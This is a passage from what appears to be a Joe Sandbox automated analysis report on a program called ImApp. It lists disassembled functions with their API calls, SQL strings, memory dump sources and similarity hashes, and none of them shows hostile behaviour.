MemberType, xrefs: 020CA7AE

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID:
String ID: GroupID$INSERT INTO GroupsMembers VALUES(:GroupID,:MemberID,:MemberType)$MemberID$MemberType
API String ID: 0-2158201026
Opcode ID: f221151e281715483d6ada0a40a042f454dfb0cccf11055de3e941cdde9e692a
Instruction ID: 48d3906a0beaae5e43f14be88974e60dd2aae20a61b479a15d0ce1334ea3f254
Opcode Fuzzy Hash: f221151e281715483d6ada0a40a042f454dfb0cccf11055de3e941cdde9e692a
Instruction Fuzzy Hash: FAF09062B907142AB9902739ECA1BEE476B5FA4E55F510129BA07AFF80DB80CC8136D0

Function 020CD5C0 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 33COMMON

Download Yara Rule

APIs

#9.IMDBU(UPDATE PotentialGroups SET AssociatedMsgID=:AssociatedMsgID, SentTime=:SentTime WHERE PotentialGroupID=:PotentialGroupID,PotentialGroupID), ref: 020CD5D3
#10.IMDBU(UPDATE PotentialGroups SET AssociatedMsgID=:AssociatedMsgID, SentTime=:SentTime WHERE PotentialGroupID=:PotentialGroupID,AssociatedMsgID,?,UPDATE PotentialGroups SET AssociatedMsgID=:AssociatedMsgID, SentTime=:SentTime WHERE PotentialGroupID=:PotentialGroupID,PotentialGroupID), ref: 020CD5ED
#9.IMDBU(UPDATE PotentialGroups SET AssociatedMsgID=:AssociatedMsgID, SentTime=:SentTime WHERE PotentialGroupID=:PotentialGroupID,SentTime,?,UPDATE PotentialGroups SET AssociatedMsgID=:AssociatedMsgID, SentTime=:SentTime WHERE PotentialGroupID=:PotentialGroupID,AssociatedMsgID,?,UPDATE PotentialGroups SET AssociatedMsgID=:AssociatedMsgID, SentTime=:SentTime WHERE PotentialGroupID=:PotentialGroupID,PotentialGroupID), ref: 020CD607
#8.IMDBU(UPDATE PotentialGroups SET AssociatedMsgID=:AssociatedMsgID, SentTime=:SentTime WHERE PotentialGroupID=:PotentialGroupID,00000001,00000000,UPDATE PotentialGroups SET AssociatedMsgID=:AssociatedMsgID, SentTime=:SentTime WHERE PotentialGroupID=:PotentialGroupID,SentTime,?,UPDATE PotentialGroups SET AssociatedMsgID=:AssociatedMsgID, SentTime=:SentTime WHERE PotentialGroupID=:PotentialGroupID,AssociatedMsgID,?,UPDATE PotentialGroups SET AssociatedMsgID=:AssociatedMsgID, SentTime=:SentTime WHERE PotentialGroupID=:PotentialGroupID,PotentialGroupID), ref: 020CD61B

Strings

PotentialGroupID, xrefs: 020CD5C4
AssociatedMsgID, xrefs: 020CD5E1
SentTime, xrefs: 020CD5FB
UPDATE PotentialGroups SET AssociatedMsgID=:AssociatedMsgID, SentTime=:SentTime WHERE PotentialGroupID=:PotentialGroupID, xrefs: 020CD5CC, 020CD5E6, 020CD600, 020CD614

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID:
String ID: AssociatedMsgID$PotentialGroupID$SentTime$UPDATE PotentialGroups SET AssociatedMsgID=:AssociatedMsgID, SentTime=:SentTime WHERE PotentialGroupID=:PotentialGroupID
API String ID: 0-1716678952
Opcode ID: 8ee74889a4a70b58b89e62f6a43b754db641444fad64935557870c682f007a35
Instruction ID: 6db1452afe9f85b9a73a1c94fa5673096756b24fff85ab4ea3ea772baa5f4aa4
Opcode Fuzzy Hash: 8ee74889a4a70b58b89e62f6a43b754db641444fad64935557870c682f007a35
Instruction Fuzzy Hash: 3CE03061BE03112BB5442230DCA2FEF434B4BE4B41F11401CBA075E660EAD4988167D6

Function 020CABA0 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 33COMMON

Download Yara Rule

APIs

#9.IMDBU(DELETE FROM GroupsMembers WHERE GroupID=:GroupID AND MemberID=:MemberID AND MemberType=:MemberType,GroupID), ref: 020CABB3
#9.IMDBU(DELETE FROM GroupsMembers WHERE GroupID=:GroupID AND MemberID=:MemberID AND MemberType=:MemberType,MemberID,?,DELETE FROM GroupsMembers WHERE GroupID=:GroupID AND MemberID=:MemberID AND MemberType=:MemberType,GroupID), ref: 020CABCB
#9.IMDBU(DELETE FROM GroupsMembers WHERE GroupID=:GroupID AND MemberID=:MemberID AND MemberType=:MemberType,MemberType,?,DELETE FROM GroupsMembers WHERE GroupID=:GroupID AND MemberID=:MemberID AND MemberType=:MemberType,MemberID,?,DELETE FROM GroupsMembers WHERE GroupID=:GroupID AND MemberID=:MemberID AND MemberType=:MemberType,GroupID), ref: 020CABE4
#8.IMDBU(DELETE FROM GroupsMembers WHERE GroupID=:GroupID AND MemberID=:MemberID AND MemberType=:MemberType,00000001,00000000,DELETE FROM GroupsMembers WHERE GroupID=:GroupID AND MemberID=:MemberID AND MemberType=:MemberType,MemberType,?,DELETE FROM GroupsMembers WHERE GroupID=:GroupID AND MemberID=:MemberID AND MemberType=:MemberType,MemberID,?,DELETE FROM GroupsMembers WHERE GroupID=:GroupID AND MemberID=:MemberID AND MemberType=:MemberType,GroupID), ref: 020CABF8

Strings

GroupID, xrefs: 020CABA4
MemberID, xrefs: 020CABBF
DELETE FROM GroupsMembers WHERE GroupID=:GroupID AND MemberID=:MemberID AND MemberType=:MemberType, xrefs: 020CABAC, 020CABC4, 020CABDD, 020CABF1
MemberType, xrefs: 020CABD8

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID:
String ID: DELETE FROM GroupsMembers WHERE GroupID=:GroupID AND MemberID=:MemberID AND MemberType=:MemberType$GroupID$MemberID$MemberType
API String ID: 0-3810630322
Opcode ID: 41730a0750e21729b3fdebb33180eba466bc113aa3c9e4f88054a53edddf878e
Instruction ID: 7a9af9fcd5c397a07dd9d7dfa311220c1d9da6e3d7bb7584b4575d7a0528f4fc
Opcode Fuzzy Hash: 41730a0750e21729b3fdebb33180eba466bc113aa3c9e4f88054a53edddf878e
Instruction Fuzzy Hash: CEE030617D07566FB9542234CCD2FAE1B275BA4A04B904118BA035EA40DA8498A166D0

Function 020D93C0 Relevance: 13.7, APIs: 9, Instructions: 202COMMON

Download Yara Rule

APIs

#6735.MFC80U(?,265105E4), ref: 020D93F8
#6161.MFC80U ref: 020D940B
#6735.MFC80U(?), ref: 020D9437
#6161.MFC80U ref: 020D9446
#762.MFC80U(00000054), ref: 020D944E
#280.MFC80U(?), ref: 020D9471
#578.MFC80U(?,00000000,00002000,00000000,?,00000002), ref: 020D9615
#578.MFC80U(?,00000000,00002000,00000000,?,00000002), ref: 020D9623

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #578#6161#6735$#280#762
String ID:
API String ID: 1789125813-0
Opcode ID: bf7a49ebee4fbb4bc13a9c703e17808cc3c2fb5e77587693bb9b17a3d7ba8480
Instruction ID: 54bf5d43607311da9abd1f2cd1fe3e8d5d8b92f4a1e23b9911ec74f59ed3955e
Opcode Fuzzy Hash: bf7a49ebee4fbb4bc13a9c703e17808cc3c2fb5e77587693bb9b17a3d7ba8480
Instruction Fuzzy Hash: 7C8144755093819FC340DF28C884A6ABBE5BFC9704F14495DF68987291CB76E944CBA2

Function 100065A0 Relevance: 13.7, APIs: 9, Instructions: 176COMMON

Download Yara Rule

APIs

#6293.MFC80U(?,DC7F1836), ref: 100065DC
#261.MFC80U(?,?,00000001,?,DC7F1836), ref: 100065FC

Part of subcall function 10006FC0: #1176.MFC80U(?,100068F7), ref: 10006FC9
Part of subcall function 10006FC0: #6282.MFC80U(?,?,?,?,?,?,100068F7), ref: 10007000

#5327.MFC80U(DC7F1836), ref: 10006632
#261.MFC80U(?,?,00000001), ref: 10006670
#258.MFC80U(?,?,6AE06092,?,?,00000001), ref: 10006695
#1472.MFC80U(6AE05C6D,?,?,?,6AE06092,?,?,00000001), ref: 100066BF
#265.MFC80U(00000000,?,?,?,6AE06092,?,?,00000001), ref: 100066F3
memset.MSVCR80 ref: 10006714
#1176.MFC80U ref: 10006783

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: #1176#261$#1472#258#265#5327#6282#6293memset
String ID:
API String ID: 794500723-0
Opcode ID: 502623a349ccf5285246a79048150862d0c5a882da15f35d6ec6b3a76db87652
Instruction ID: d8cb789e5f39ebce303bee1a1c70085f504b4201bf588e200953b98d69ef155b
Opcode Fuzzy Hash: 502623a349ccf5285246a79048150862d0c5a882da15f35d6ec6b3a76db87652
Instruction Fuzzy Hash: 33519DB56047019FE714DF24CC81F2BB3EAEB88790F24892DF55A87299DB35E840CB91

Function 03273BA0 Relevance: 13.6, APIs: 9, Instructions: 99fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 03273BD7
CreateFileMappingA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000000), ref: 03273BFF
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 03273C13
GetFileSize.KERNEL32(00000000,?), ref: 03273C29
CloseHandle.KERNEL32(?), ref: 03273C44
CloseHandle.KERNEL32(00000000), ref: 03273C4B
UnmapViewOfFile.KERNEL32(00000000), ref: 03273C84
CloseHandle.KERNEL32(?), ref: 03273C95
CloseHandle.KERNEL32(00000000), ref: 03273C98

Memory Dump Source

Source File: 00000007.00000002.3532100878.0000000003271000.00000020.00000001.01000000.00000012.sdmp, Offset: 03270000, based on PE: true

Associated: 00000007.00000002.3531965898.0000000003270000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532138534.0000000003278000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532175053.000000000327D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532248982.000000000327E000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3270000_ImApp.jbxd

Similarity

API ID: File$CloseHandle$CreateView$MappingSizeUnmap
String ID:
API String ID: 265113797-0
Opcode ID: 97813f91e871629a610af99d7bb0e38d62987202702c09ec0a4e56d63fd31d69
Instruction ID: 728067fb55fe8decd16744bc28242dafbfe8d12b5ef7380810618a70f4ed016f
Opcode Fuzzy Hash: 97813f91e871629a610af99d7bb0e38d62987202702c09ec0a4e56d63fd31d69
Instruction Fuzzy Hash: 7E31CF75204346AFD310EF26EC89F1BFBECFB89764F05461DFA9492240C77591048BA6

Function 020E5A70 Relevance: 13.6, APIs: 9, Instructions: 90COMMON

Download Yara Rule

APIs

#24.IMUTILSU(0000200C,265105E4), ref: 020E5AAE
VariantInit.OLEAUT32(0000200C), ref: 020E5ABE
#934.IMUTILSU(?,?), ref: 020E5ADB
#776.MFC80U(?,?,?), ref: 020E5AF0
#934.IMUTILSU(00000008,00000008,?,?), ref: 020E5B0C
#934.IMUTILSU(00004011,00004011,00000008,00000008,?,?), ref: 020E5B39
#934.IMUTILSU(00004011,00004011,00004011,00004011,00000008,00000008,?,?), ref: 020E5B65
VariantClear.OLEAUT32(00004011), ref: 020E5B85
#82.IMUTILSU ref: 020E5B97

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #934$Variant$#776ClearInit
String ID:
API String ID: 2899608622-0
Opcode ID: 459c0d7289b0d6bc9ff76a641a3139ee61547be9fc0d97ddeaf6088b0192e1a8
Instruction ID: ffc7f431d7f6321a5498b2391eb5d8dc51f46a3eae2aeb84d02fd432715e9e98
Opcode Fuzzy Hash: 459c0d7289b0d6bc9ff76a641a3139ee61547be9fc0d97ddeaf6088b0192e1a8
Instruction Fuzzy Hash: 03310EB65083449FC715DF14C480A9BB7F8BB98764F00CA1EF59643290E774D588CF92

Function 020D0590 Relevance: 13.6, APIs: 9, Instructions: 87COMMON

Download Yara Rule

APIs

#6735.MFC80U(?,265105E4), ref: 020D05C4
#6161.MFC80U(?,?,?,?,?,?,?,?,?,?,020EF872,000000FF), ref: 020D05D6
#578.MFC80U(?,?,?,?,?,?,?,?,?,?,020EF872,000000FF), ref: 020D05F2
#1476.MFC80U(?,?,?,00000002,?,?,?,?,?,?,?,?,?,?,020EF872,000000FF), ref: 020D062E
#776.MFC80U(?,?,?,00000002,?,?,?,?,?,?,?,?,?,?,020EF872,000000FF), ref: 020D0640
#774.MFC80U(00000000,?,?,?,?,00000002), ref: 020D066D
#578.MFC80U(?,?,00000002,?,?,?,?,?,?,?,?,?,?,020EF872,000000FF), ref: 020D067C
#578.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,020EF872), ref: 020D06A2

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #578$#1476#6161#6735#774#776
String ID:
API String ID: 4002074488-0
Opcode ID: 6000d3b54c7e8ce8db48d54283994618b82b0aeaea4412b587e099855a5af0b0
Instruction ID: ed0a643d945e15ae2a11971bd0ceb63a6fc61ab20110ad3b9bdd276f72595247
Opcode Fuzzy Hash: 6000d3b54c7e8ce8db48d54283994618b82b0aeaea4412b587e099855a5af0b0
Instruction Fuzzy Hash: AF319A35848740CFC324CF14D449B9BFBE4FB94324F008B1DE9AA82AD0DB79A548CB96

Function 020E16F0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

#310.MFC80U ref: 020E1736
memset.MSVCR80 ref: 020E17C3
#777.MFC80U(?,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,-00000065), ref: 020E17E4
#5149.MFC80U(00000032,00000064,?,00000000), ref: 020E17F7
#5398.MFC80U(000000FF,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,-00000065), ref: 020E180A
#578.MFC80U ref: 020E18D5

Strings

e, xrefs: 020E1726

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #310#5149#5398#578#777memset
String ID: e
API String ID: 1009524294-4024072794
Opcode ID: c1814394358bb5e3f83da70ffdf9e4641c82e5bc69ae5d41f48f275de2f70ba6
Instruction ID: 1223cb4477e6ccfb9ecf1b05c9ace2b90c1ac9c4df6998f3ba259f04e19d94b9
Opcode Fuzzy Hash: c1814394358bb5e3f83da70ffdf9e4641c82e5bc69ae5d41f48f275de2f70ba6
Instruction Fuzzy Hash: A77107752443009FD708EF59D890E6EB7E5BF8C700F558A0CF39687290DB75A909CB96

Function 004134A0 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 171stringCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00413578
GetModuleHandleW.KERNEL32(00000000), ref: 004135E1

Part of subcall function 00409DE0: lstrlenW.KERNEL32(?), ref: 00409DE6
Part of subcall function 00409DE0: memcpy_s.MSVCR80 ref: 00409DFF

lstrlenW.KERNEL32(?), ref: 00413667

Part of subcall function 0040B1C0: free.MSVCR80 ref: 0040B1D7

Strings

Module_Raw, xrefs: 004136A2
|ZB, xrefs: 004134F6
REGISTRY, xrefs: 004136BE
Module, xrefs: 004135F3, 00413685

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: Modulelstrlen$FileHandleNamefreememcpy_s
String ID: Module$Module_Raw$REGISTRY$|ZB
API String ID: 123488244-2273067920
Opcode ID: e94505ebc972fa674f9112de82b5760c0bc18fdac543c525a11fb3a6f0dafe08
Instruction ID: af85b805d50adb7939409ee15e50ca20dc507a2744b26954f958ccdc50fc3117
Opcode Fuzzy Hash: e94505ebc972fa674f9112de82b5760c0bc18fdac543c525a11fb3a6f0dafe08
Instruction Fuzzy Hash: 3961B571208340ABC330EF15D885E9BB7E8BF88714F540E2EF09993291D7799A45CB9B

Function 00413740 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 169stringCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00413815
GetModuleHandleW.KERNEL32(00000000), ref: 0041387D

Part of subcall function 00409DE0: lstrlenW.KERNEL32(?), ref: 00409DE6
Part of subcall function 00409DE0: memcpy_s.MSVCR80 ref: 00409DFF

lstrlenW.KERNEL32(?), ref: 00413902

Part of subcall function 0040B1C0: free.MSVCR80 ref: 0040B1D7

Strings

Module_Raw, xrefs: 0041393D
|ZB, xrefs: 0041378F
REGISTRY, xrefs: 00413960
Module, xrefs: 0041388F, 00413920

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: Modulelstrlen$FileHandleNamefreememcpy_s
String ID: Module$Module_Raw$REGISTRY$|ZB
API String ID: 123488244-2273067920
Opcode ID: adc9684e6ef3692f3d1f5784d80c405d5fd3adb4d14dfa6e9bb080099a18c5fb
Instruction ID: a5b9836d3ff7b2148efa2f89637b1f2128a944c160d2b95340325738ed353ed4
Opcode Fuzzy Hash: adc9684e6ef3692f3d1f5784d80c405d5fd3adb4d14dfa6e9bb080099a18c5fb
Instruction Fuzzy Hash: 0261B4B12083409FC320EF25C885A9BB3E4BFC9754F140E2EF49997291DB795A44CB9B

Function 00409AA0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 110threadCOMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 00409ADF
_time32.MSVCR80 ref: 00409AF7
_localtime32.MSVCR80 ref: 00409B04
SetEvent.KERNEL32(?), ref: 00409B99
CreateThread.KERNEL32(00000000,00000000,00409770,?,00000000,00000000), ref: 00409BAF

Strings

4)C, xrefs: 00409B39

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: CreateEvent$Thread_localtime32_time32
String ID: 4)C
API String ID: 1969711223-2008030111
Opcode ID: e11c2042915f6e5104776637201a174c1ecea6aa2c143afb1bfce2a561eccdfe
Instruction ID: d7cd8d7a11e65b946c1da130a45fac9462ec7d99571ed006646d4bfd47b1209c
Opcode Fuzzy Hash: e11c2042915f6e5104776637201a174c1ecea6aa2c143afb1bfce2a561eccdfe
Instruction Fuzzy Hash: 16415971600204EFCB14DF54DD84B9A77B8FB48720F64827AF8199B291D774AD41CBA4

Function 00408500 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

#1194.MFC80U(FC8A6036), ref: 0040855B
#680.IMUTILSU(00424FF4,?,?,?), ref: 00408590
VariantClear.OLEAUT32(?), ref: 004085A7
#344.IMUTILSU(004247D4,CImTray::OnGetMessageStore(),Could not advise to IImTrayEvents interface.,00000000), ref: 004085E0
#1460.IMUTILSU(004247D4,CImTray::OnGetMessageStore(),Could not advise to IImTrayEvents interface.,00000000), ref: 004085E7

Strings

Could not advise to IImTrayEvents interface., xrefs: 004085D1
CImTray::OnGetMessageStore(), xrefs: 004085D6

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1194#1460#344#680ClearVariant
String ID: CImTray::OnGetMessageStore()$Could not advise to IImTrayEvents interface.
API String ID: 2156854156-2688986872
Opcode ID: fec3b1ba955da27a263ffb1415ffee37d560f7a8082997d8d6109fb3fc3ca50e
Instruction ID: a7215da71bbc4518c02d807f8ec97374b423bd8461455416e93839212734cb19
Opcode Fuzzy Hash: fec3b1ba955da27a263ffb1415ffee37d560f7a8082997d8d6109fb3fc3ca50e
Instruction Fuzzy Hash: A031A271604711AFC314DF2AC945B57B7E8EB89B14F41462EF454A7281DB38E8018BAA

Function 00408A20 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 88COMMON

Download Yara Rule

APIs

#1194.MFC80U(FC8A6036,FC8A6036), ref: 00408A68
#680.IMUTILSU(004251A4,?,?,?), ref: 00408A99
VariantClear.OLEAUT32(?), ref: 00408AB0
#344.IMUTILSU(004247D4,CImTray::OnGetJunkFilterPro(),Failed to create IJunkFilterPro interface.,00000000), ref: 00408ACA
#1460.IMUTILSU(004247D4,CImTray::OnGetJunkFilterPro(),Failed to create IJunkFilterPro interface.,00000000), ref: 00408AD1

Strings

Failed to create IJunkFilterPro interface., xrefs: 00408ABB
CImTray::OnGetJunkFilterPro(), xrefs: 00408AC0

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1194#1460#344#680ClearVariant
String ID: CImTray::OnGetJunkFilterPro()$Failed to create IJunkFilterPro interface.
API String ID: 2156854156-3954143498
Opcode ID: 7f6bbbed9f6f7be9668d1d78bdd03c4fd3d168fc20d0011197619a3a2f8299ba
Instruction ID: 02a228290c341427cefaa0e4eb180e0fa9119cee6b2e325cad1ce9b011ad511b
Opcode Fuzzy Hash: 7f6bbbed9f6f7be9668d1d78bdd03c4fd3d168fc20d0011197619a3a2f8299ba
Instruction Fuzzy Hash: FF3193B1604311AFC314DF65D941E67B7E8EB88B14F50462FF454A7381DB78A801CFAA

Function 004050B0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

#1194.MFC80U(FC8A6036), ref: 00405105
#680.IMUTILSU(00425094,?,?,?), ref: 00405136
VariantClear.OLEAUT32(?), ref: 0040514D
#344.IMUTILSU(004247D4,CImTray::OnGetDBInfoManager(),Failed to create IDBInfoManager interface.,00000000), ref: 00405167
#1460.IMUTILSU(004247D4,CImTray::OnGetDBInfoManager(),Failed to create IDBInfoManager interface.,00000000), ref: 0040516E

Strings

Failed to create IDBInfoManager interface., xrefs: 00405158
CImTray::OnGetDBInfoManager(), xrefs: 0040515D

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
